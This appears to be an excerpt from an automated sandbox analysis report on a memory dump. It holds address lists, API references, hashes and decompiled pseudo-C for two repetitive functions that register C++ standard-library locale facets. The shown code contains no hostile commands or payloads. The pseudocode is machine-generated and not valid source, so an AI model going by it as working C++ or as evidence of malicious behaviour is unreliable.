0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61

APIs

__EH_prolog3.LIBCMT ref: 0048CB2A
std::_Lockit::_Lockit.LIBCPMT ref: 0048CB34

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048CB85
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CBA5
Concurrency::cancel_current_task.LIBCPMT ref: 0048CBB2

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 279528fea0e826c42f7cd90493ac86173f5d7e35c76eccb7b557a0c2ec52c703
Instruction ID: 3dd892e0772eddc7054554b0902ad7e6281940cfcea5854e0b39ab2737061eef
Opcode Fuzzy Hash: 279528fea0e826c42f7cd90493ac86173f5d7e35c76eccb7b557a0c2ec52c703
Instruction Fuzzy Hash: 61010471D005158BCB01FBA5E856ABE7770AF84714F54094FE4116B382CF3C9E00C799

Uniqueness

Uniqueness Score: -1.00%

Function 0048CBB8, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048CBB8(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v92;
				signed int _t105;
				void* _t187;
				short* _t271;
				void* _t296;
				signed int _t298;
				signed int _t299;
				signed int _t300;
				signed int _t301;
				signed int _t302;
				signed int _t303;
				signed int _t304;
				void* _t305;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				short* _t314;
				void* _t327;
				void* _t328;

				_push(8);
				E0049D90B(0x4d6966, _t296, _t305);
				E00488DEA( &_v20, 0);
				_t306 =  *0x4ede04; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t306;
				_t105 = E0042B315(_a8, E0042B22E(0x4edda8, _t296, _t306, _t328));
				_t297 = _t105;
				if(_t105 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t297);
				} else {
					if(_t306 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E537(_t297, _t306, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t297, _t306);
							E00488DEA( &_v20, 0);
							_t307 =  *0x4eddd4; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t307;
							_t298 = E0042B315(_a8, E0042B22E(0x4edd80, _t297, _t307, __eflags));
							__eflags = _t298;
							if(_t298 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t298);
							} else {
								__eflags = _t307;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E59F(_t298, _t307, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t298, _t307);
										E00488DEA( &_v20, 0);
										_t308 =  *0x4ede08; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t308;
										_t299 = E0042B315(_a8, E0042B22E(0x4eddac, _t298, _t308, __eflags));
										__eflags = _t299;
										if(_t299 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t299);
										} else {
											__eflags = _t308;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E607(_t299, _t308, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t299, _t308);
													E00488DEA( &_v20, 0);
													_t309 =  *0x4eddd8; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t309;
													_t300 = E0042B315(_a8, E0042B22E(0x4edd84, _t299, _t309, __eflags));
													__eflags = _t300;
													if(_t300 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t300);
													} else {
														__eflags = _t309;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E682(_t300, _t309, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t300, _t309);
																E00488DEA( &_v20, 0);
																_t310 =  *0x4ede24; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t310;
																_t301 = E0042B315(_a8, E0042B22E(0x4eddc8, _t300, _t310, __eflags));
																__eflags = _t301;
																if(_t301 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t301);
																} else {
																	__eflags = _t310;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E6FD(_t301, _t310, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t301, _t310);
																			E00488DEA( &_v20, 0);
																			_t311 =  *0x4eddf4; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t311;
																			_t302 = E0042B315(_a8, E0042B22E(0x4edda0, _t301, _t311, __eflags));
																			__eflags = _t302;
																			if(_t302 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t302);
																			} else {
																				__eflags = _t311;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E769(_t302, _t311, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t302, _t311);
																						E00488DEA( &_v20, 0);
																						_t312 =  *0x4ede28; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t312;
																						_t303 = E0042B315(_a8, E0042B22E(0x4eddcc, _t302, _t312, __eflags));
																						__eflags = _t303;
																						if(_t303 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t303);
																						} else {
																							__eflags = _t312;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E7D5(_t303, _t312, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t303, _t312);
																									E00488DEA( &_v20, 0);
																									_t313 =  *0x4eddf8; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t313;
																									_t304 = E0042B315(_a8, E0042B22E(0x4edd78, _t303, _t313, __eflags));
																									__eflags = _t304;
																									if(_t304 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t304);
																									} else {
																										__eflags = _t313;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											_t187 = E0048E849(_t304, _t313, __eflags);
																											_pop(_t271);
																											__eflags = _t187 - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(_t313);
																												_t314 = _t271;
																												_t98 = _t314 + 0x10;
																												 *_t98 =  *(_t314 + 0x10) & 0x00000000;
																												__eflags =  *_t98;
																												 *((intOrPtr*)(_t314 + 0x14)) = 7;
																												 *_t314 = 0;
																												E00494BE0( *((intOrPtr*)(_t327 + 8)));
																												return _t314;
																											} else {
																												_t304 = _v16;
																												_v16 = _t304;
																												_v4 = 1;
																												E0048919D(_t304);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t304 + 4))))();
																												 *0x4eddf8 = _t304;
																												goto L54;
																											}
																										} else {
																											_t304 = _t313;
																											goto L54;
																										}
																									}
																								} else {
																									_t303 = _v16;
																									_v16 = _t303;
																									_v4 = 1;
																									E0048919D(_t303);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t303 + 4))))();
																									 *0x4ede28 = _t303;
																									goto L47;
																								}
																							} else {
																								_t303 = _t312;
																								goto L47;
																							}
																						}
																					} else {
																						_t302 = _v16;
																						_v16 = _t302;
																						_v4 = 1;
																						E0048919D(_t302);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t302 + 4))))();
																						 *0x4eddf4 = _t302;
																						goto L40;
																					}
																				} else {
																					_t302 = _t311;
																					goto L40;
																				}
																			}
																		} else {
																			_t301 = _v16;
																			_v16 = _t301;
																			_v4 = 1;
																			E0048919D(_t301);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t301 + 4))))();
																			 *0x4ede24 = _t301;
																			goto L33;
																		}
																	} else {
																		_t301 = _t310;
																		goto L33;
																	}
																}
															} else {
																_t300 = _v16;
																_v16 = _t300;
																_v4 = 1;
																E0048919D(_t300);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t300 + 4))))();
																 *0x4eddd8 = _t300;
																goto L26;
															}
														} else {
															_t300 = _t309;
															goto L26;
														}
													}
												} else {
													_t299 = _v16;
													_v16 = _t299;
													_v4 = 1;
													E0048919D(_t299);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t299 + 4))))();
													 *0x4ede08 = _t299;
													goto L19;
												}
											} else {
												_t299 = _t308;
												goto L19;
											}
										}
									} else {
										_t298 = _v16;
										_v16 = _t298;
										_v4 = 1;
										E0048919D(_t298);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t298 + 4))))();
										 *0x4eddd4 = _t298;
										goto L12;
									}
								} else {
									_t298 = _t307;
									goto L12;
								}
							}
						} else {
							_t297 = _v16;
							_v16 = _t297;
							_v4 = 1;
							E0048919D(_t297);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t297 + 4))))();
							 *0x4ede04 = _t297;
							goto L5;
						}
					} else {
						_t297 = _t306;
						goto L5;
					}
				}
			}

0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbe9
0x0048cbee
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6

APIs

__EH_prolog3.LIBCMT ref: 0048CBBF
std::_Lockit::_Lockit.LIBCPMT ref: 0048CBC9

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048CC1A
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CC3A
Concurrency::cancel_current_task.LIBCPMT ref: 0048CC47

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: b256264d93bca9508cb44720cae6e44c06a111bc019737db483cc462bc28a1ed
Instruction ID: 510b584475f0b4ab2b12819a85194bdfaf119ca4a28ecfc60026ba2dec7a6381
Opcode Fuzzy Hash: b256264d93bca9508cb44720cae6e44c06a111bc019737db483cc462bc28a1ed
Instruction Fuzzy Hash: 9B01C031D002198BCB05FBA9E9596BE77A1AF90318F54485FE810AB392CF7C9E01C799

Uniqueness

Uniqueness Score: -1.00%

Function 0048CC4D, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048CC4D(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v80;
				signed int _t93;
				void* _t164;
				short* _t238;
				void* _t260;
				signed int _t262;
				signed int _t263;
				signed int _t264;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				void* _t268;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				short* _t276;
				void* _t288;
				void* _t289;

				_push(8);
				E0049D90B(0x4d6966, _t260, _t268);
				E00488DEA( &_v20, 0);
				_t269 =  *0x4eddd4; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t269;
				_t93 = E0042B315(_a8, E0042B22E(0x4edd80, _t260, _t269, _t289));
				_t261 = _t93;
				if(_t93 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t261);
				} else {
					if(_t269 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E59F(_t261, _t269, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t261, _t269);
							E00488DEA( &_v20, 0);
							_t270 =  *0x4ede08; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t270;
							_t262 = E0042B315(_a8, E0042B22E(0x4eddac, _t261, _t270, __eflags));
							__eflags = _t262;
							if(_t262 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t262);
							} else {
								__eflags = _t270;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E607(_t262, _t270, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t262, _t270);
										E00488DEA( &_v20, 0);
										_t271 =  *0x4eddd8; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t271;
										_t263 = E0042B315(_a8, E0042B22E(0x4edd84, _t262, _t271, __eflags));
										__eflags = _t263;
										if(_t263 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t263);
										} else {
											__eflags = _t271;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E682(_t263, _t271, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t263, _t271);
													E00488DEA( &_v20, 0);
													_t272 =  *0x4ede24; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t272;
													_t264 = E0042B315(_a8, E0042B22E(0x4eddc8, _t263, _t272, __eflags));
													__eflags = _t264;
													if(_t264 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t264);
													} else {
														__eflags = _t272;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E6FD(_t264, _t272, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t264, _t272);
																E00488DEA( &_v20, 0);
																_t273 =  *0x4eddf4; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t273;
																_t265 = E0042B315(_a8, E0042B22E(0x4edda0, _t264, _t273, __eflags));
																__eflags = _t265;
																if(_t265 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t265);
																} else {
																	__eflags = _t273;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E769(_t265, _t273, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t265, _t273);
																			E00488DEA( &_v20, 0);
																			_t274 =  *0x4ede28; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t274;
																			_t266 = E0042B315(_a8, E0042B22E(0x4eddcc, _t265, _t274, __eflags));
																			__eflags = _t266;
																			if(_t266 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t266);
																			} else {
																				__eflags = _t274;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E7D5(_t266, _t274, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t266, _t274);
																						E00488DEA( &_v20, 0);
																						_t275 =  *0x4eddf8; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t275;
																						_t267 = E0042B315(_a8, E0042B22E(0x4edd78, _t266, _t275, __eflags));
																						__eflags = _t267;
																						if(_t267 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t267);
																						} else {
																							__eflags = _t275;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								_t164 = E0048E849(_t267, _t275, __eflags);
																								_pop(_t238);
																								__eflags = _t164 - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(_t275);
																									_t276 = _t238;
																									_t86 = _t276 + 0x10;
																									 *_t86 =  *(_t276 + 0x10) & 0x00000000;
																									__eflags =  *_t86;
																									 *((intOrPtr*)(_t276 + 0x14)) = 7;
																									 *_t276 = 0;
																									E00494BE0( *((intOrPtr*)(_t288 + 8)));
																									return _t276;
																								} else {
																									_t267 = _v16;
																									_v16 = _t267;
																									_v4 = 1;
																									E0048919D(_t267);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t267 + 4))))();
																									 *0x4eddf8 = _t267;
																									goto L47;
																								}
																							} else {
																								_t267 = _t275;
																								goto L47;
																							}
																						}
																					} else {
																						_t266 = _v16;
																						_v16 = _t266;
																						_v4 = 1;
																						E0048919D(_t266);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t266 + 4))))();
																						 *0x4ede28 = _t266;
																						goto L40;
																					}
																				} else {
																					_t266 = _t274;
																					goto L40;
																				}
																			}
																		} else {
																			_t265 = _v16;
																			_v16 = _t265;
																			_v4 = 1;
																			E0048919D(_t265);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t265 + 4))))();
																			 *0x4eddf4 = _t265;
																			goto L33;
																		}
																	} else {
																		_t265 = _t273;
																		goto L33;
																	}
																}
															} else {
																_t264 = _v16;
																_v16 = _t264;
																_v4 = 1;
																E0048919D(_t264);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t264 + 4))))();
																 *0x4ede24 = _t264;
																goto L26;
															}
														} else {
															_t264 = _t272;
															goto L26;
														}
													}
												} else {
													_t263 = _v16;
													_v16 = _t263;
													_v4 = 1;
													E0048919D(_t263);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t263 + 4))))();
													 *0x4eddd8 = _t263;
													goto L19;
												}
											} else {
												_t263 = _t271;
												goto L19;
											}
										}
									} else {
										_t262 = _v16;
										_v16 = _t262;
										_v4 = 1;
										E0048919D(_t262);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t262 + 4))))();
										 *0x4ede08 = _t262;
										goto L12;
									}
								} else {
									_t262 = _t270;
									goto L12;
								}
							}
						} else {
							_t261 = _v16;
							_v16 = _t261;
							_v4 = 1;
							E0048919D(_t261);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t261 + 4))))();
							 *0x4eddd4 = _t261;
							goto L5;
						}
					} else {
						_t261 = _t269;
						goto L5;
					}
				}
			}

0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc7e
0x0048cc83
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b

APIs

__EH_prolog3.LIBCMT ref: 0048CC54
std::_Lockit::_Lockit.LIBCPMT ref: 0048CC5E

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048CCAF
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CCCF
Concurrency::cancel_current_task.LIBCPMT ref: 0048CCDC

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

